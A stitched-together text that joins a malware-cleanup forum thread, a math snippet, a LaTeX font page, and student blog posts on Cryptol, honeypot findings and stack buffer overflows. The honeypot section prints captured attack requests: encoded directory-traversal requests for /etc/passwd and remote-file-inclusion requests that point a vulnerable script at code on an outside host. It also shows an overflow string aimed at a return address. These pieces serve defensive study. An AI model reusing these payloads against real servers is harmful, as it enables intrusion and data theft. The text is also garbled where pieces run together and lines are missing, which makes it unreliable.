We may be able to clean the infected files off the computer, and if you wish, we will attempt to do so, but we cannot be sure that the infection did not do something to your system to reduce the system security.  In that instance, even after removal of the infection, you could be subject to another attack or takeover as soon as you reconnect to the Internet.

The Decision whether to reformat or Not should be based on:

• The use of the computer - this is the primary factor in the decision whether to reformat and reinstall, or just disinfect.
• The variety of malware - this influences the decision on whether to reformat and reinstall, or just disinfect. IN THIS CASE we have a rootkit as well as a backdoor trojan, the worst kinds.
If the Computer has been used for any important data, you are strongly advised to do the following, immediately:

• Disconnect the infected computer from the Internet and from any networked computers until the computer can be cleaned.
• Back up all important data on the machine. Do not back up any Applications (programs). Those should be reinstalled from the original source CDs or websites.
• If you have ever used this computer for shopping, banking, or any transactions relating to your financial well being, call your banks, credit card companies, and financial institutions to inform them that you may be a victim of identity theft and to put a watch on your accounts or change all your account numbers.
• From a clean computer, change ALL your online passwords -- for ISP login, email,  banks, financial accounts, PayPal, eBay, online companies, and any online forums or groups you belong to.
• DO NOT change passwords or do any transactions while using the infected computer because the attacker will get the new password and transaction information.
• Take any other steps you think appropriate for an attempted identity theft.

What is a backdoor or remote access trojan?
Danger: Remote Access Trojans

Consumers – Identity Theft

When should I re-format? How should I reinstall?

How Do I Handle Possible Identify Theft, Internet Fraud and CC Fraud?

Rootkits: The Obscure Hacker Attack

Help: I Got Hacked. Now What Do I Do?

Help: I Got Hacked. Now What Do I Do? Part II

Microsoft Says Recovery from Malware Becoming Impossible

Reformatting Windows XP by wng_z3r0

Windows XP Clean install

If you do decide to format/re-install and need some help, let me know.

However, if you do not have the resources to reformat your computer and reinstall your operating system and programs and would like me to attempt to clean it, I will be happy to do so.

Please let us know what you have decided to do in your next post.

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

Well that is terrible news!

can you tell me what leads you to believe this infection is so serious? Do I need to format all the machines on my network?

I will disconnect the infected machine immediately. I will wait for your reply to this post before I format the machine, but that is my intention at this point.

If you tell me the whole network is compromised, I will want to attempt to kill the trojan rather than reinstall on 3 machines. If it's possible to get away with just the one, then it's worth the time invested to reformat and be done with it.

Now that I've learned not to be lazy (or cheap) with AV and FW software, I suppose it is a lesson worth learning. I will wait to cleanse the system before I change any of my information but I will be keeping a close eye on it. Thanks for the prompt response. I guess I'm relying on your knowledge here before I continue. In the past I had Norton Internet Security in the past, but the license expired and I just let it go.

Again, if you think I can just format the infected machine and be good, I'll do that. If it's the whole network, I would like to try to disinfect (even though I'll likely format afterwards anyway). I will do whatever you recommend to get a clean bill of health from this site.

This has been great motivation for me to join this community and fight the good fight- I will do whatever I can to contribute starting with joining MWR University as soon as I'm clean.
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA

Re: Kid's computer got infected.

The following entries indicate several bad Trojans, Worms, and Rootkits.

O4 - HKUS\S-1-5-18\..\Run: [] (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [] (User 'Default user')

Summary of Infections: (For more information, click on the name of the infection.)

1. SDBOT Worm may affect your network. The worm connects to an IRC channel and server and waits for instructions. Adds a lockx.exe rootkit that connects to an IRC server, awaiting remote commands from an attacker. Rootkits may be used by an intruder after cracking a computer system and often hides logins, processes, files, and logs. It may include software to intercept data from terminals, network connections, and the keyboardA remote attacker can use the trojan to perform various tasks:
1. Gather system information (CPU, Driver Space, RAM, OS Version, User name, Computer name, IP Address)
2. Run IRC commands (Join channels, send messages)
3. SYN Flood others
4. Kill processes
6. Execute files
2. DELF-UX Trojan The Trojan logs keypresses to a file named itime.txt in the Windows temp folder. Troj/Delf-UX may also post data to a remote site.
3. Variant of Rootkit.Win32.Agent.uj A Rootkit is software that cloaks the presence of files and data to evade detection, while allowing an attacker to take control of the machine without the user's knowledge. Rootkits are typically used by malware including viruses, spyware, trojans, and backdoors, to conceal themselves from the user as well as from malware detection software such as anti-virus and anti-spyware applications. Rootkits are also used by some adware applications and DRM (Digital Rights Management) programs to thwart the removal of that unwanted software by users. Are typically installed without user interaction through security exploits, and can severely compromise system security. Such risks may open illicit network connections, use polymorphic tactics to self-mutate, disable security software, modify system files, and install additional malware. These risks may also collect and transmit personally identifiable information (PII) without your consent and severely degrade the performance and stability of your computer.
4. Troj/IRCBot-ZL Troj/IRCBot-ZL runs continuously in the background, providing a backdoor server which allows a remote intruder to gain access and control over the computer via IRC channels.
I know you probably do not want to hear this, but if this were my network, I would back up files and reformat the three computers on your network. For instructions on reformatting, see Reinstalling WIndows XP Home.

We may be able to clean the infected files off the computer, and if you wish, we will attempt to do so, but we cannot be sure that the infection did not do something to your system to reduce the system security.  In that instance, even after removal of the infection, you could be subject to another attack or takeover as soon as you reconnect to the Internet.

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

Thanks again for the information.

While this is not what I wanted to hear, I was prepared for the worst. It serves me right- I knew the AV and Firewall were a big issue and I just got so spoiled being on Linux all the time, that I just let it fall be the wayside.

I am preparing now to format all three machines. There are no files that I can't backup and considering the severity of the issue, I just want to resolve it and get back online! I should be able to reformat and reinstall on my own- I did it regularly when I was on windows all the time. I will be installing AVG and will be considering firewall options. While the freeware might work, I think this lesson has taught me that I should quit being cheap when it comes to technology.

Any suggestions you might have that would be helpful in preventing this in the future would be greatly appreciated. I have some family obligations this weekend so it will be sometime Sunday before I can post back after the reinstall. Please let me know if there are any other instructions you have for me when I can return.

Signing offline now until fixed.
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA

Re: Kid's computer got infected.

If you have a flash drive, I recommend that you download the firewall and antivirus program of your choice to the flash drive. I keep the Avast4! and Comodo Firewall Pro on my flash drive so they can be installed on my hard drive without having to get on the Internet to download them.

The best antivirus and firewall programs are actually the free ones. If I were you, I would not pay for them. Usually, they are big, cumbersome programs that do not work as well as the free ones. I use Avast4! for my antivirus program and Comodo Firewall Pro for my firewall.

Any one of the antivirus programs below would do a good job for you.

AVG 8 Anti-Virus Free Edition

AntiVir Personal

Avast! 4 Home Edition
If needed, see How to Install, Configure, and Use Avast Antivirus

There are several firewalls that provide better protection than the Windows firewall. Follow these steps to turn off/disable the Windows Firewall before installing a new firewall:
2. Disconnect from the Internet.
3. Click Start > Control Panel.
4. Switch to Classic View if you have not already done so.
5. Double click on the Windows Firewall icon.
6. Click Off (Not recommended).
7. Install the new Firewall.
Do not attempt to run two software firewalls since like running two antivirus programs, they will possibly cause problems and conflict with each other.

• Avoid inviting the monsters in by clicking on links in instant messages.
• Avoid opening email attachments.
• Avoid visiting every poker site on the net.
• Avoid using the peer-to-peer file sharing.
• Malware (computer viruses, trojans, most rootkits, spyware, dishonest adware, crimeware) is out there just waiting to pounce on your system if you visit their website which may be some seemingly innocent web site. Be careful because some of these monsters are so vicious that no one can possibly save you once you let them in.
• Remember that new bad stuff emerges every day or week of the year. Take responsibility for protecting your system because you are its first and best defense.
Steps To Keep Your Computer Clean And Secure:

1. Establish A New Clean System Restore Point and Clean the Infected System Restore Points. After cleaning, you will need to clean the infected System Restore Points. Files placed in the System volume information folder are source files for the System Restore function that is available in Windows XP operating system. Files that were healed were moved in their original INFECTED state into this folder and it is necessary to DELETE them.
Step 1
Create a new, clean System Restore point.
• Click on Start > All Programs > Accessories > System Tools > System Restore.
• On the Welcome Page, select Create a restore point. Click Next.
• Give this restore point a descriptive name and click Create.
• When done, click Close.
Note: Do not clear infected System Restore points before creating a new System Restore point!
Step 2
Clear infected System Restore points
• Click on Start > All Programs > Accessories > System Tools > Disk Cleanup.
• Select C drive and click OK.
• Select the More Options tab.
• Under System Restore, click on Clean up....
• You will be prompted. Click Yes.
• When done, click OK.
• You will be prompted again. Press Yes to confirm.
• When done, Disk Cleanup will close automatically.
2. Make your Internet Explorer more secure: This can be done by following these simple instructions:
1. From within Internet Explorer, click on Tools > Options.
2. Click on the Security tab
3. Click on the Internet icon.
4. Click the Custom Level button.
• Change Initialize and script ActiveX controls not marked as safe to Disable
• Change Installation of desktop items to Prompt
• Change Launching programs and files in an IFRAME to Prompt
• Change Navigate sub frames across different domains to Prompt
5. When all these settings have been made, click on the OK button.
6. Press the Yes button to save the settings.
7. Click Apply > OK to exit Internet Properties.
3. Use a Firewall: - Without a firewall, your computer is susceptible to being hacked. Simply using a Firewall in its default configuration can lower your risk greatly. For an article on Firewalls and a listing of some available ones, see Computer Safety On line - Firewalls. For more information about firewalls, please read Understanding and Using Firewalls.
4. Use An Antivirus Software and Keep It Updated: - It is very important that your computer has an antivirus software running on your machine.  This alone can save you a lot of trouble with malware in the future.  It is imperative that you update your antivirus software at least once a week (Even more if you wish). If you do not update your antivirus software, it will not be able to catch any of the new variants that may come out. For an article on antivirus programs and a listing of some available ones, see Computer Safety On line - Anti-Virus.
5. Visit Microsoft's Windows Update Site Frequently: It is important that you visit Microsoft Windows Update regularly to ensure that your computer has the latest security updates available installed on your computer. If there are new updates to install, install them immediately, reboot your computer, and revisit the site until there are no more critical updates.
6. You should scan your computer with Spybot S&D on a regular basis just as you would an anti- virus software. See the tutorial on Using Spybot - Search & Destroy to remove Spyware from Your Computer .
7. You should scan your computer with Ad-Aware 2008 as well as Spybot S&D and your antivirus program on a regular basis. See the tutorial on installing and using Ad-Aware 2007/2008.
8. Update SpywareBlaster (at least weekly): SpywareBlaster will add a large list of programs and sites into your Internet Explorer and Firefox settings that will protect you from running and downloading known malicious programs. See this article on anti-malware products with links for this program and others, Computer Safety on line - Anti Malware.
9. Use the hosts file: Every version of windows has a hosts file as part of it. In a very basic sense, they are used to locate web pages. You can customize a hosts file so that it blocks certain web pages. However, it can slow down certain computers. This is why using a hosts file is optional. Download the mvps hosts file. Make sure you read the Download and Install Instructions for the MVPS HOSTS File. If needed, see the instructions in the Editors Note: in most cases a large HOSTS file (over 135 kb) tends to slow down the machine. This only occurs in W2000/XP/Vista. Windows 98 and ME are not affected.
10. Use an alternative instant messenger program:.Trillian and Miranda IM These are Malware free Instant Messenger programs which allow you to connect to multiple IM services in one program! (AOL, Yahoo, ICQ, IRC, MSN).
11. Please read Tony Klein's excellent article: How I got Infected in the First Place.
13. Please read Simple and easy ways to keep your computer safe and secure on the Internet.
14. If you are using Internet Explorer, please consider using an alternate browser: Mozilla's Firefox browser is much more secure than Internet Explorer and immune to almost all known browser hijackers.
Another good browser is Opera . Opera 9x comes loaded with the tools to keep you productive and safe. It is absolutely free.
15. Update all these programs regularly: Make sure you update all the programs listed regularly. Without regular updates, you WILL NOT be protected when new malicious programs are released.
Good luck!

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm
Register to Remove

Next

• Similar Topics
Replies
Views
Last post


text:
# How do you evaluate 54/-6?

Think $x \cdot - 6 = 54$
If you multiply $- 6 \mathmr{and} - 9$ the product is 54, so $\frac{54}{-} 6 = - 9$

format: plain


text:
## Erewhon

Erewhon is a font package based largely on Andrey V. Panov’s Heuristica, but with so many changes that it is no longer strictly compatible with that package, and is offered instead as an enhanced alternative.

### Usage

```\usepackage[proportional,scaled=1.064]{erewhon}
\usepackage[erewhon,vvarbb,bigdelims]{newtxmath}
\usepackage[T1]{fontenc}
\renewcommand*\oldstylenums[1]{\textosf{#1}}
```

### Style examples

```\normalfont
```

```\itshape
```

```\slshape
```

```\scshape
```

```\bfseries
```

```\bfseries\scshape
```

```\fontshape{scit}\selectfont
```

### Font implementation

Erewhon is available as Type 1.
Erewhon is available as OpenType or TrueType.

### Part of TeX Live?

Erewhon is part of TeX Live.


text:
## Cryptol the language of cryptography

1 04 2009

Pedro Pereira and I are working on a new project in the Masters. The second half of the Masters is composed of a single project suggested by a company. Some companies are forming partnerships in the Masters formal methods, including: the Critical software, SIG and Galois. We chose the Galois because we also are in the area of cryptography and we already knew some work of some people from this company.

The project suggested by Galois was study the Cryptol as a language of specification of cryptographic algorithms. The cipher we used for this study is the SNOW 3G (The SNOW website), later on I will talk about the specification of this cipher. In this post I am only interested to show the language.

I’m going to show you some details about the language. This post is not intend to be a exhaustive explanation of Cryptol, if you looking for that you can go directly to the manuals. This post only relates my experience, and what I like it most with the language.

## Overview

Cryptol is a high-level language that is geared to deal with low-level problems. Is a Domain-specific language to design and implement cryptographic algorithms.
This language has a high percentage of correctness of the implementation of a cipher, because it implements type inference, so we can say that a big part of the language implements correctness. This correctness is also achieved thanks to the architecture of the language – functional. We don’t have side effects – a function only return something inside is codomain.
In Cryptol we have this philosophy that says that everything is a sequence. This is very useful because we are working with low level data (array of bits), so we use sequences to represent that arrays. We can have nested sequences to have a more structured representation of data. For example, we can simply transform a 32-bit sequence in a 4 1-byte sequence.
The size of this sequences could be implemented as finite or infinite, as we going to see later in this post. Because Cryptol is a high-level language we can also implement polymorphic functions, most of the primitive functions are implemented in polymorphic mode. The way we have to navigate throw the sequences is using recursion, or sequences comprehension, and with these two techniques we can implement recurrences.

If you are a Haskell programmer you just need the next section to learn Cryptol. This language is so look a like with Haskell that even the philosophy seems to have a lot in commune.

## Types in Cryptol

The type $[32]$ means that you have a sequence of 32-bit size. All the types in Cryptol are size oriented. The unit is the $Bit$, that you can use to represent $Bool$. To represent a infinite sequence we use the reserved word $inf$, and we write: $[inf]$ to represent that.

If you want to generate a infinite sequence, we use the syntactic sugar of the sequences like that: $[1~..]$. Cryptol will infer this sequence as type

$[1~..]~:~[inf][1]$

That means this sequence have infinite positions of 1-bit words. The type inference mechanism will always optimize the size that he needs, to represent the information.
So, it infer the type of $[100~..]$ as:

$[100~..]~:~[inf][7]$

Because, it “knows” that needs only 7-bits to represent the decimal $100$. But if you need more, you can force the type of your function.
We implement polymorphism in our types, if we have:

$f~:~[a]b~\rightarrow~[a]b$

This means, that the function $f$ have polymorphism over $b$, because we say that it domain is one sequence of size $a$ of type $b$, and it codomain also. Here we could also see: $f~:~[a][b]c$ meaning that $f$ is a constant of sequences of size $b$ of type $c$, $a$ times.

So, lets talk about some primitive functions in Cryptol, and its types. The $tail$ function have the following type in Cryptol:

$tail~:~\{a~b\}~[a+1]b~\rightarrow~[a]b$

As we can see, Cryptol is so size oriented, that we can use arithmetic operators in types. We can probably infer what this function does just from it type: $tail$ works for all $a$ and $b$ such that if we have one sequence os size $a+1$ of type $b$ it returns one sequence of size $a$ of same type. In fact this function removes the first element of one sequence.

Because of this size oriented philosophy a lot of functions, that change the size of the sequences can be read just from the type.

As you can see in the following list of Cryptol primitive function:

$drop~:~\{ a~b~c \}~( fin~a ,~a~\geq~0)~\Rightarrow~(a ,[ a + b ]~c )~\rightarrow~[ b ]~c$
$take~:~\{ a~b~c \}~( fin~a ,~b~\geq~0)~\Rightarrow~(a ,[ a + b ]~c )~\rightarrow~[ a ]~c$
$join~:~\{ a~b~c \}~[ a ][ b ] c~\rightarrow~[ a * b ]~c$
$split~:~\{ a~b~c \}~[ a * b ] c~\rightarrow~[ a ][ b ]~c$
$tail~:~\{ a~b \}~[ a +1] b~\rightarrow~[ a ]~b$

## Recursion and Recurrence

Cryptol implements Recursion, just like a lot of functional languages do.

Imagine the fibonacci function definition:

It implementation in Crytol is exactly the same as defined mathematically.

fib : [inf]32 -> [inf]32;
fib n = if n == 0 then 0 else if n == 1 then 1 else fib (n-1) + fib (n-2);

Cryptol uses recursion to permit us to iterate throw sequences.

But, If you prefer you can implement a more functional algorithm of fibonacci function in Cryptol:

fib : [inf]32 -> [inf]32;
fib n = fibs @ n;
where {
fibs : [inf]32;
fibs = [0 1] # [| x + y || x <- drop (1,fibs) || y <- fibs |];
};

Here, as you can see, we define a infinite list $fibs$ of all the fibonacci numbers, by calling the $fibs$ inside the sequences comprehension $fibs$, this is called a recurrence, and you can use that too in Cryptol.

## Cryptol vs C

I’m going to show you some part of the implementation of SNOW 3G in C. This is a function called $MUL_{\alpha}$

MULa : [8] -> [32];
MULa(c) = join ( reverse [
( MULxPOW(c, 23 :[32], 0xA9) )
( MULxPOW(c, 245:[32], 0xA9) )
( MULxPOW(c, 48 :[32], 0xA9) )
( MULxPOW(c, 239:[32], 0xA9) ) ] );

/* The function MUL alpha.
Input c: 8-bit input.
Output : 32-bit output.
See section 3.4.2 for details.
\*/
u32 MULalpha(u8 c) {
return
((((u32)MULxPOW(c,23, 0xa9)) << 24 ) |
(((u32)MULxPOW(c, 245,0xa9)) << 16 ) |
(((u32)MULxPOW(c, 48,0xa9)) << 8 ) |
(((u32)MULxPOW(c, 239,0xa9)))) ;
}

You can see that in Cryptol we just say that we want to work with a 32-bit word, and we don’t need to do any shift to our parts of the word. We just join them together. We reverse the sequence, because Cryptol stores words in little-endian, and we want to keep the definition like the specification.

This is a very simple function, so the result in C is not so that different. But if we have a more complex function, we were going to start having a nightmare to write that in C.

## Conclusion

Well, the conclusion is that Cryptol is a language that really help to write low-level algorithms. With Cryptol the specification is formal and easier to read than other languages. A value of Cryptol is that the code can be converted to other languages, such as VHDL and C.

If you’re interested, take a look at the presentation that we did.

## HTTP attacks

23 01 2009

In this post I will talk about the HTTP results that I collected from the experience with one honeypot.
As you may know, I’ve been putting one honeypot running for 5 weeks. I’ve previously talked about SMTP and SSH attacks, now is the time for HTTP. This service (port 80) is by far the most fustigated service in the honeypot. And make sense, in this port we can have a lot of Web services with a lot of exploitable code running…

This chart represents the number of hit’s in the port 80, that our honeypot had during his activity:

## Open Proxy’s

An open proxy is like an Open mail relay, described in SMTP attacks. Anyone in the internet can use this systems to reduce their using of the bandwidth. For example, if an open proxy is located in your country, and if your internet provider only allow you to access web pages of your country, you can use this systems to visit outside pages.
The process is quite simple, if you are under a proxy and you want a web page, the proxy go get them for you and send that to you. All the traffic and effort was made by the proxy. Is just like a forwarding service.

Here at the University we have one closed proxy, and that is great, because a lot of pages are in cache, so even we have a 1Gb connection, the proxy don’t need to get the page we want, because have it in the cache.

### webcollage/1.135a

The webcollage is a program that seeks the Internet images and composes them in a window. Some have described as a pop culture program. This program makes random web searches and extract the images of the results.

There was a host that has make some hit’s in our honeypot’s, as we can see in the following extract from the file web.log:

--MARK--,"Mon Dec 15 23:09:00 WET 2008","IIS/HTTP","92.240.68.152","192.168.1.50",56886,80,
"GET http://www.morgangirl.com/pics/land/land1.jpg HTTP/1.0
User-Agent: webcollage/1.135a
Referer: http://random.yahoo.com/fast/ryl
Host: www.morgangirl.com
",
--ENDMARK--

The interesting here is that this agent is trying to get an image using our honeypot as a open proxy. The possibilities is that our honeypot as been seen by a proxy scanner in the past that have add our honeypot to an open proxy list.

### Solution

We can do something, if this had happened for real. We can block the IP that made the request (92.240.68.152) to avoid future requests by this host. But the problem is not from this person who is using a program to get the images. The problem here is that we are targeted as an open proxy, and probably in the future we will be asked again to get some file.

A more comprehensive solution is to block all the requests made from this program. Adding this lines to the file “.htaccess” in the folder.

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^webcollage
RewriteRule ^.*$- [F] # End of .htaccess change.  This won’t prevent all the attempts to use our server as open proxy, but will prevent all the requests made by this program. ## Directory traversal A directory traversal attacks intend to exploit insufficient security validation of user-supplied input file names. The main objective of this attack is gain access to a computer file that is not intended to be accessible. I will give you the Wikipedia example: Imagine you have this PHP script running in your server, and this page have the name vulnerable.php: <?php$template = 'blue.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )$template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" .$template );
?>

If someone send you this request:

GET /vulnerable.php HTTP/1.0

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:

We have seen a lot of variations of this attack, as will show you after.

On 4 January 2009 dozens of hit’s were made from Lelystad, The Netherlands. These hit’s were performed to verify if our HTTP server allow directory traversal, to get the file /etc/passwd by the attacker.

In this case, the attacker wanted to acquire the /etc/passwd to perhaps have a list of the users that can access to the system. To possibly get access through any of them.

This type of attack is usually done not asking directly for the file through its conventional path, but in an encrypted way (using exa characters). With that variations it is more unlikely that the application perform validations on what the attacker wants.
Unfortunately our honeypot, not saved the log file’s during the day January 1 until 4, so we only can see in the other’s log’s the activity performed by this host. We cannot show the number of hit’s of this IP in day 4.
In the following listings I will show the pairs of command that the attacker wanted to do and the package that came to our honeypot.

GET ../../../../../../../../../../etc/passwd HTTP/1.1

--MARK--,"Sun Jan  4 05:20:57 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59706,80,
"GET %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

GET .../../../../../../../../../../etc/passwd HTTP/1.1

--MARK--,"Sun Jan  4 05:20:58 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59711,80,
"GET %2E%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

GET ../../../../../../../../../../etc/passwd HTTP/1.1

--MARK--,"Sun Jan  4 05:21:02 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59727,80,
"GET %2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2Fetc%5C%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

GET ....................etcpasswd HTTP/1.1

--MARK--,"Sun Jan  4 05:21:04 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59740,80,
"GET %2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5Cetc%5Cpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

GET //etc/passwd HTTP/1.1

--MARK--,"Sun Jan  4 05:20:59 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59700,80,
"GET %2F%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

### Conclusion

Possibly an attacker trying to do this in a real server would get the file he wanted, but our honeypot was not prepared to
respond to such attacks, and it only responds with a message 302:

HTTP/1.1 302 Object moved
Server: Microsoft-IIS/5.0
P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'
Date: Sab Jan 10 21:46:17 WET 2009
Content-Type: text/html
Connection: close
Accept-Ranges: bytes
Expires: Sab Jan 10 21:46:17 WET 2009
Cache-control: private

Object Moved
This object may be found here.

We can conclude that the requests that were sent to our honeypot mean that the attacker was using the NSE, which means nmap scripting engine. This is a tool that comes with nmap.
Allows the user to write scripts to automate various tasks in the network.

Here we can see the script that was used to perform this attack.

## Morfeus Fucking Scanner (MFS)

MFS is a scanner that search web pages with PHP vulnerabilities. This scanner has a large number of tests for known vulnerabilities in PHP scripts. Then we show some of those applications that MFS search for vulnerabilities.

### WebCalendar

The WebCalendar is a web calendar that can be used by one or more users, it is possible to create groups with calendars and it supports a wide range of databases.
This application uses several PHP files, one of those id send_reminder.php that contained serious vulnerabilities, one of which allowed the inclusion of remote files through variable “includedir” that was not validated. So anyone can add whatever he want on this page.

We found that this vulnerability only affects WebCalendar version 1.0.4, this application has now in version 1.2.
While our honeypot not have this application installed, although there were made some attempts to attacks on this application, two of them over the vulnerability of this file, as the log show’s.

--MARK--,"Wed Dec 24 16:07:29 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",54941,80,
"GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

--MARK--,"Wed Dec 24 16:07:30 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55003,80,
"GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

This scanner (MFS) scans a list of hosts and attempts to link up several times until the server be attacked.
In our case this type of request on port 80 only returns a 404 error.

The gif file that the attacker wants to include just print a message:

echo (" Morfeus hacked you ");

### Conclusion

Although this file has been fixed in this application, the truth is that this scanner continues to include this as a test. The reason for this is that still have many applications with this vulnerability exposed on the Internet.

### Mambo/Joomla

The CMS Mambo is very popular and used worldwide. The Joomla is a derivative of the first one. In this applications have been discovered many bugs, MFS seems to use some of them. We saw one in particular:

--MARK--,"Wed Dec 24 16:07:34 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55438,80,
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

The attacker wants to set the variable mosConfig_absolute_path from the file index.php with the typical message that has already explained above. What we find is that the input passed to this file in not validated before being used to include files.
This system can be victim of one attack by allowing run code from any source without ever make payable checks.

### Prevent attacks from MFS

One way to block this type of attacks from MFS is to add the following lines of code in file. “htaccess” in the folder of the website.

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
user@honeypot :~$./ exploit thisisanexploit *** stack smashing detected ***: ./ exploit terminated thisisanexploitAborted As we can see, GCC has introduced mechanisms for blocking implementation of code potentially malicious. But this example is as simple as possible. More sophisticated attacks against systems can avoid this mechanisms. ### The stack When a function is called, the return value must be addressed, and it address must be somewhere saved in the stack. Saving the return address into the stack is one advantage, each task has its own stack, so each must have its return address. Another thing, is that recursion is completely supported. In case that a function call itself, a return address must be created for each recursive phase, in each stack function call. For example, the following code: /** lengthOf returns the length of list l */ public int lengthOf(Cell l) { int length; if ( l == null ) { length = 0; } else { length = 1 + lengthOf(l.getNext()); } return length; } Will produce the following stacks: The stack also contain local data storage. If any function declare local variables, they are stored there also. And may also contain parameters passed to the function, for more information about that. ### GCC and Stack canary’s If you wondering why a canary. GCC, and other compilers insert in the stack known values to monitor buffer overflows. In the case that the stack buffer overflows, the first field to be corrupted will be the canary. Forward, the sub-routines inserted into the program by GCC verify the canary field and verify that this as changed, sending a message “*** stack smashing detected ***”. For more information about this subject. ### Stack corruption If you still thinking what stack buffer overflow is god for? I give you a simple example (from Wikipedia article). Imagine you have the following code: void foo (char *bar) { char c[12]; memcpy(c, bar, strlen(bar)); // no bounds checking... } int main (int argc, char **argv) { foo(argv[1]); } As you can see, there are no verification about the input of the function foo, about the *bar variable. This is the stack that are created at some point when this function is called by another one: When you call the foo, like: void function() { char *newBar = (char *)malloc(sizeof(char)*6); strcpy(newBar,"hello"); foo(newBar); }  This is what happens to the stack: Now, if you try this: void function() { char *newBar = (char *)malloc(sizeof(char)*24); strcpy(newBar,"AAAAAAAAAAAAAAAAAAAAx08x35xC0x80"); foo(newBar); }  This is what happens to the stack: So, now, when the foo function terminates, it will pop the return address and jump to that address (0x08C03508, in this case), and not to the expected one. In this iamge, the address 0x08C03508 is the beginning of the char c[12] code. Where the attacker can previously put shellcode, and not AAAAA string… Now imagine that this program is SUID bit on to run as root, you can instantly scale to root… Fortunately this kind of attacks is being to reduce, since the introduction of stack canary’s. This kind of protection is possible because the stack is not dynamic, but as we gone see later (in part II), the heap is. ## References ## SSH Login Attempts 11 01 2009 Back with honeypot news! We have launched our honeypot for 5 weeks, and now we have results to show you. In this post I will show you the attempts that attackers make to get into our ssh honeypot server. The ssh honeypot was fustigated during these 5 weeks. Several attempts were made, about 78227, but no one successful. Here is the graphic for usernames attempts: And here is the graphic for password attempts: ## Future Work We will show all the rest of information that we capture on our honeypot in the future. We have discovered great stuff. I have also done a nice program to generate statistics in Haskell using HaskellCharts, I will talk about that later too. That’s all for now! ## Deploying Honeypots with Honeyd 8 12 2008 Another work of Cryptography, this time on Security in systems information area. Me and Pedro Pereira choose the Honeypot project. The idea is to understand and if possible experiment tools to implement Honeypots. ## The Honeynet Project The Honeynet project began in 1999 by the initiative of Lance Spitzner. It is an international nonprofit project. The idea of this project is to increase security on the Internet without any cost to the public. This is a project with strong bases on OpenSource believes. This project has several years of experience in defense information systems. In his website you can have access to a lot of documentation and software to create Honeynets and Honeypots. In fact we have started to watch this presentation from HITBSecConf2007 in Dubai by Lance Spitzner. If you feel interested and have 40 minutes I recommend to watch. ## Reading about Honeypots The are 2 kinds of honeypots, client and server. The client surf the web interacting with other computers, and the server wait until someone request a service. And more 2 kind, low and high interaction, that means, if the honeypot is virtual or real (a real machine). Our work is focused on the study of some solutions to create Honeypots. We start to read some good papers about the subject. After reading Malicious Web Servers, from Know Youy Enemy series, and later the Behind the Scenes of Malicious Web Servers, we start to get involved by the idea of deploying our own Honeypot. So we decide to use Honeyd tool to create them. In this post I will talk about the process of install and configure a Honepot with the help of Honeyd. ## Honeyd Honeyd is a low interaction honeypot client that create virtual hosts (Honeypots) in a network. These Honeypots can be configured to act like a real operative system, in fact there are approximately 1000 personalities of OS’s that we can chose. At the same time we can configure those operative systems to activate certains services like FTP, HTTP, Telnet, etc. Honeyd enables a single host to claim multiple addresses – I have tested up to 65536 – on a LAN 